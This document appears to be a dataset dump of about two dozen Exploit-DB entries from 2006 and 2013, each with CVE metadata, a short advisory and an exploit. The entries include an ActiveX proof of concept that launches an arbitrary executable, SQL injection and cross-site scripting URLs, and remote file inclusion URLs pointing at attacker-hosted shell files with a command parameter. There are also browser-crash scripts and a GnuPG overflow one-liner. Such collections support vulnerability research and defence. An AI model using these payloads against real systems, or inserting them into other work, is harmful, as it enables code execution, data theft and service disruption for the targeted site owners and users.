QLWD/code_shield huggingface dataset:
标题: Mitsubishi MC-WorkX 8.02 - ActiveX Control 'IcoLaunch' File Execution EDB-ID: 28284 CVE: 2013-2817 类型: REMOTE 平台: WINDOWS 发布日期: 2013-09-15 漏洞利用脚本: <html>
<object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object>
<!--
Mitsubishi MC-WorkX Suite Insecure ActiveX Control - IcoLaunch.dll
Vendor: http://www.meau.com
Version: MC-WorkX 8.02
Tested on: Windows XP SP3 / IE 6
Download: http://www.meau.com/functions/dms/getfile.asp?ID=035000000000000001000000908800000
Author: Blake

CLSID: C28A127E-4A85-11D3-A5FF-00A0249E352D
ProgId: ICOLAUNCHLib.LaunchCtl
Path: C:\Program Files\Mitsubishi Electric Automation\MC-WorX\Bin\IcoLaunch.dll
MemberName: FileName
Safe for scripting: True
Safe for init: True
Kill Bit: False
-->

<title>Mitsubishi MC-WorkX Suite Insecure ActiveX Control (IcoLaunch)</title>
<p>This proof of concept will launch an arbritrary executable when the Login Client button is clicked. An attacker could use this to have the victim launch malicious code from a remote share. Calc is used in this example.</p>

<script language='vbscript'>
file="C:\\WINDOWS\\system32\\calc.exe"
target.FileName = file
</script> URL: https://www.exploit-db.com/exploits/28284
标题: PHP Pro Bid 5.2.4 - 'viewfeedback.php' Multiple SQL Injections EDB-ID: 28275 CVE: 2006-3926 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19158/info
 
PHP Pro Bid is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
Version 5.24 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/viewfeedback.php?view=1'[SQL] 
http://www.example.com/viewfeedback.php?view=all&start=1'[SQL] URL: https://www.exploit-db.com/exploits/28275
标题: wwwThreads - 'calendar.php' Cross-Site Scripting EDB-ID: 28280 CVE: 2006-3909 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19177/info

WWWThreads is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/calendar.php?week="><script>alert(&#039;test!&#039;)</script>< URL: https://www.exploit-db.com/exploits/28280
标题: PHP Pro Bid 5.2.4 - 'categories.php?orderType' SQL Injection EDB-ID: 28276 CVE: 2006-3926 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19158/info
  
PHP Pro Bid is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
Version 5.24 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/categories.php?parent=&start=&orderField=itemname&orderType =1'[SQL] URL: https://www.exploit-db.com/exploits/28276
标题: phpBB-Auction 1.x - 'auction_room.php?ar' SQL Injection EDB-ID: 28281 CVE: 2006-3940 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/19179/info

PHPBB-Auction is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.

A successful attack could allow an attacker to compromise the software, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/phpbb/auction_room.php?ar=[num][sql]
http://www.example.com/phpbb/auction_room.php?order=price_asc&ar=[num][sql] URL: https://www.exploit-db.com/exploits/28281
标题: LinksCaffe 3.0 - 'links.php' Multiple SQL Injections EDB-ID: 28267 CVE: 2006-3884 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19149/info

LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/linkscaffe/links.php?cat=1&offset=[SQL]
http://www.example.com/linkscaffe/links.php?cat=1&limit=[SQL] 
http://www.example.com/linkscaffe/links.php?action=new&newdays=[SQL] 
http://www.example.com/linkscaffe/links.php?action=deadlink&link_id=[SQL] 
http://www.example.com/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/* URL: https://www.exploit-db.com/exploits/28267
标题: LinksCaffe 3.0 - 'counter.php?tablewidth' Cross-Site Scripting EDB-ID: 28268 CVE: 2006-3883 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19149/info
 
LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/linkscaffe/counter.php?tablewidth='%3E[XSS]<p+ URL: https://www.exploit-db.com/exploits/28268
标题: PHP Pro Bid 5.2.4 - 'auctionsearch.php?advsrc' Cross-Site Scripting EDB-ID: 28274 CVE: 2006-3927 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19158/info

PHP Pro Bid is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Version 5.24 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/auctionsearch.php?advsrc="<script>alert(/EllipsisSecurityTe st/)</script> URL: https://www.exploit-db.com/exploits/28274
标题: LinksCaffe 3.0 - 'menu.inc.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28270 CVE: 2006-3883 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19149/info
   
LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
http://www.example.com/linkscaffe/menu.inc.php?tableborder='%3E[XSS]

http://www.example.com/linkscaffe/menu.inc.php?menucolor='%3E[XSS]

http://www.example.com/linkscaffe/menu.inc.php?textcolor='%3E[XSS]

http://www.example.com/linkscaffe/menu.inc.php?bodycolor='%3E[XSS] URL: https://www.exploit-db.com/exploits/28270
标题: PHPSavant Savant2 - 'Stylesheet.php?MosConfig_absolute_path' Remote File Inclusion EDB-ID: 28273 CVE: 2006-3990 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19151/info

Savant2 is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[mam_jom_path]/components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path=EvilScript.txt?&cmd=id URL: https://www.exploit-db.com/exploits/28273
标题: LinksCaffe 3.0 - 'links.php?newdays' Cross-Site Scripting EDB-ID: 28269 CVE: 2006-3883 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/19149/info
  
LinksCaffe is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/linkscaffe/links.php?action=new&newdays=[XSS] URL: https://www.exploit-db.com/exploits/28269
标题: MusicBox 2.3.4 - 'page' SQL Injection EDB-ID: 28262 CVE: 2006-3886 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19129/info

MusicBox is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.3.4; earlier versions may also be vulnerable.

http://www.target.com/?action=viewgallery&type=album&aid=&page=-1[SQL] URL: https://www.exploit-db.com/exploits/28262
标题: AGEphone 1.28/1.38 - SIP Packet Handling Buffer Overflow (PoC) EDB-ID: 28266 CVE: 2006-4029 类型: DOS 平台: WINDOWS 发布日期: 2006-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19148/info

AGEphone is prone to a remote buffer-overflow vulnerability.

Specifically, this issue presents itself when the application handles a malicious SIP (Session Initiation Protocol) packet.

AGEphone versions 1.24 and 1.38.1 are reported vulnerable; other versions may be affected as well.

SIP/AAAAAAAA[approx-68-bytes]AAAAAA 1 A
From: test
To: test

Or:

SIP/A 1 AAAAAAAA[approx-48-bytes]AAAAAA
From: test
To: test URL: https://www.exploit-db.com/exploits/28266
标题: Microsoft Internet Explorer 6 - NMSA.ASFSourceMediaDescription Stack Overflow EDB-ID: 28259 CVE: 2006-3897 类型: DOS 平台: WINDOWS 发布日期: 2006-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19114/info

Microsoft Internet Explorer is prone to a stack-overflow vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

function Demo() {
 var a = new ActiveXObject('NMSA.ASFSourceMediaDescription.1');
 var b = 'XXXX';
 while (b.length <= 1024) b += b;
 a.dispValue = b; 
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script> URL: https://www.exploit-db.com/exploits/28259
标题: Microsoft Internet Explorer 6 - Native Function Iterator Denial of Service EDB-ID: 28265 CVE: 2006-3915 类型: DOS 平台: WINDOWS 发布日期: 2006-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19140/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {
 // Iterate through any native function reference to crash
 for (var i in window.alert) { var a = 1; }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28265
标题: Advanced Poll 2.0.2 - 'common.inc.php' Remote File Inclusion EDB-ID: 28253 CVE: 2003-1179 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19105/info

Advanced Poll is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage this issue to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

Version 2.02 is reported vulnerable; other versions may also be affected.

http://www.example.com/[path_advanced_poll]/admin/common.inc.php?base_path=http:www.example.com URL: https://www.exploit-db.com/exploits/28253
标题: Chameleon LE 1.203 - 'index.php' Directory Traversal EDB-ID: 28255 CVE: 2006-3836 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19107/info

Chameleon LE is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Chameleon LE is reported vulnerable; other versions may also be affected.

http://www.victim.com/index.php?rmid=[directory traversal] URL: https://www.exploit-db.com/exploits/28255
标题: Microsoft Internet Explorer 6 - Multiple Object ListWidth Property Denial of Service Vulnerabilities EDB-ID: 28258 CVE: 2006-3944 类型: DOS 平台: WINDOWS 发布日期: 2006-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/19113/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {

 // Forms.ComboBox.1 is also affected
 var a = new ActiveXObject('Forms.ListBox.1'); 

 // NULL dereference
 a.ListWidth = 0x7ffffffe;
 
 // Integer overflow exception
 // a.ListWidth = 0x7fffffff;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28258
标题: GnuPG 1.4/1.9 - Parse_Comment Remote Buffer Overflow EDB-ID: 28257 CVE: 2006-3746 类型: DOS 平台: LINUX 发布日期: 2006-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/19110/info

GnuPG is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow remote attackers to execute arbitrary machine code in the context of the affected application, but this has not been confirmed.

GnuPG version 1.4.4 is vulnerable to this issue; previous versions may also be affected.

perl -e 'print "\xfd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor URL: https://www.exploit-db.com/exploits/28257
标题: Microsoft Internet Explorer 6 - String To Binary Function Denial of Service EDB-ID: 28252 CVE: 2006-3899 类型: DOS 平台: WINDOWS 发布日期: 2006-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/19102/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to properly bounds-check user-supplied input.

Remote attackers can exploit this issue to crash the application, causing a denial-of-service.

<a href='http://browserfun.blogspot.com/2006/07/mobb-8-rdsdatacontrol-url.html'> MoBB #8</a>.<br /><br />var a = new ActiveXObject('CEnroll.CEnroll.2'); <br />var b = 'BOOM';<br />while (b.length <= 1024*1024) b+=b;<br />a.stringToBinary(1, b);<br /><br /> <a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_021.html" target="_new">Demonstration</a> <br /><br />eax=03580024 ebx=00300000 ecx=0005fc08<br />edx=00300000 esi=03571000 edi=03701004<br /> eip=77124ba4 esp=0013b200 ebp=0013b20c<br />OLEAUT32!SysAllocStringLen+0x4f:<br />77124ba4 f3a5 rep movsd ds:03571000=???????? es:03701004=00000000<br /><br />This bug will be added to the OSVDB:<br /> <a href="http://osvdb.org/27230">Microsoft IE CEnroll SysAllocStringLen Invalid Length</a> URL: https://www.exploit-db.com/exploits/28252
标题: Apache Tomcat 5 - Information Disclosure EDB-ID: 28254 CVE: 2006-3835 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/19106/info

Apache Tomcat is prone to an information-disclosure vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to reveal a complete directory listing from any directory. Information obtained may aid in further attacks. Reports indicate that this issue may also allow attackers to obtain the source code of script files.

Apache Tomcat 5.028, 5.5.23, 5.5.9, and 5.5.7 are vulnerable to this issue; other versions may also be affected.

Novell GroupWise Mobile Server 1.0 or other versions bundled with Nokia Intellisync Mobile Suite 6.4.31.2, 6.6.0.107, and 6.6.2.2 ship with an affected version of Tomcat and are vulnerable as well.

http://www.example.com/;index.jsp URL: https://www.exploit-db.com/exploits/28254
标题: Lussumo Vanilla 1.0 - RootDirectory Remote File Inclusion EDB-ID: 28260 CVE: 2006-3850 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19127/info

Vanilla is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.0.1; earlier versions may also be vulnerable.

Further information reports that this issue cannot be exploited because the vulnerable parameter is defined with a hard-coded value. Therefore this BID is being retired.

http://www.example.com/[path]/setup/upgrader.php?RootDirectory=http://www.example2.com/shell.txt? URL: https://www.exploit-db.com/exploits/28260
标题: Microsoft Internet Explorer 6 - Internet.HHCtrl Click Denial of Service EDB-ID: 28256 CVE: 2006-3898 类型: DOS 平台: WINDOWS 发布日期: 2006-07-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/19109/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html><body><script>

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject("Internet.HHCtrl.1");
 a.Click();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>

</body></html> URL: https://www.exploit-db.com/exploits/28256
标题: IDevSpot PHPHostBot 1.0 - 'index.php' Remote File Inclusion EDB-ID: 28248 CVE: 2006-3776 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/19084/info

PHPHostBot is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/order/index.php?page=http://[malicious_site]/file URL: https://www.exploit-db.com/exploits/28248
标题: Microsoft Internet Explorer 6 - OVCtl Denial of Service EDB-ID: 28246 CVE: 2006-3910 类型: DOS 平台: WINDOWS 发布日期: 2006-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/19079/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
 var a = new ActiveXObject('OVCtl.OVCtl.1');
 a.NewDefaultItem();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'> URL: https://www.exploit-db.com/exploits/28246
标题: MiniBB 1.5 - 'news.php' Remote File Inclusion EDB-ID: 28251 CVE: 2006-3955 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/19095/info

MiniBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and access the underlying system.

MiniBB version 1.5a is affected; earlier versions may also be vulnerable.

http://www.example.com/[target]/news.php?absolute_path=[shellcode]? URL: https://www.exploit-db.com/exploits/28251
标题: IDevSpot PHPLinkExchange 1.0 - 'index.php' Remote File Inclusion EDB-ID: 28247 CVE: 2006-3777 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/19083/info

PHPLinkExchange is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/index.php?page=http://[malicious_site]/file URL: https://www.exploit-db.com/exploits/28247